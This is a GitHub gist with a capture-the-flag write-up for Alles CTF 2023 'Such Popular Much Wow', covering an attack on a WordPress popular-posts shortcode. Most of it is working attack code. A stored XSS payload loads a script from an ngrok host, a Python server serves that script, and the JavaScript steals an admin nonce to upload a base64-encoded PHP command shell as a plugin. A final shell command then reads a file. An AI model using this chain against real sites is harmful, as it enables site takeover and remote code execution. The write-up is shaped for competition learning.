Skip to content

Instantly share code, notes, and snippets.

@jakecraige
Last active August 17, 2023 22:35
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jakecraige/1ddad827356be721ac07f01044c474dc to your computer and use it in GitHub Desktop.
Save jakecraige/1ddad827356be721ac07f01044c474dc to your computer and use it in GitHub Desktop.
Writeup for Alles CTF 2023 "Such Popular Much Wow"

Make a post with the content as follows. You can enter it with the shortcode widget to not have to worry about formatting things.

[wpp excerpt_format=0 excerpt_length=1000 post_html='<li>{title} <img class="wpp-excerpt" src={summary}/></img></li>']

Make it have the excerpt:

x" onerror=d=document;s=d.createElement('script');s.src='//88c4-99-61-65-255.ngrok-free.app/exploit.js';document.head.append(s);//

Run this server and make it accessible to serve the fake image and exploit.js file:

import http.server
import socketserver
import time

class MyHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/image.jpg':
            time.sleep(10)

        super().do_GET()

PORT = 8000

with socketserver.TCPServer(("", PORT), MyHandler) as httpd:
    print(f"Serving at port {PORT}")
    httpd.serve_forever()

Put this in your exploit.js code

// Introduce artificial delay to pause driver to give it ttime to do the upload.
// Without this the code will execute fine if you manually visit the page, but
// Selenium seems to kill it too fast without it. Funny enough if you reverse
// the order Selenium visits the popular posts it will work without this.
var img = new Image();
img.src = '//88c4-99-61-65-255.ngrok-free.app/image.jpg'
document.body.appendChild(img);

// The file is just a simple PHP echo shell using ?cmd=CMD
var base64File = 'PD9waHAgZWNobyBwYXNzdGhydSgkX0dFVFsnY21kJ10pOyA/Pgo=';
var binaryFile = atob(base64File);
var blob = new Blob([new Uint8Array(binaryFile.length).map((_, i) => binaryFile.charCodeAt(i))]);

fetch("/wp-admin/plugin-install.php", {
  credentials: 'include',
}).then(res => {
  return res.text();
}).then(htmlText => {
  var htmlEl = document.createElement('html');
  htmlEl.innerHTML = htmlText;
  var nonce = htmlEl.querySelector(".wp-upload-form #_wpnonce").value;
  console.log(nonce);

  const formData = new FormData();
  formData.append('_wpnonce', nonce);
  formData.append('_wp_http_referer', '/wp-admin/plugin-install.php?tab=upload');
  formData.append('pluginzip', blob, 'cshell.php');
  return fetch('/wp-admin/update.php?action=upload-plugin', {
    method: 'POST',
    body: formData,
    credentials: 'include',
  })
}).then(_ => {
  console.log("uploaded");
});

Wait for a little while for the admin bot to visit it. Then visit https://thesite/wp-content/2023/08/17/cshell.php?cmd=cat /var/www/flag.txt

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment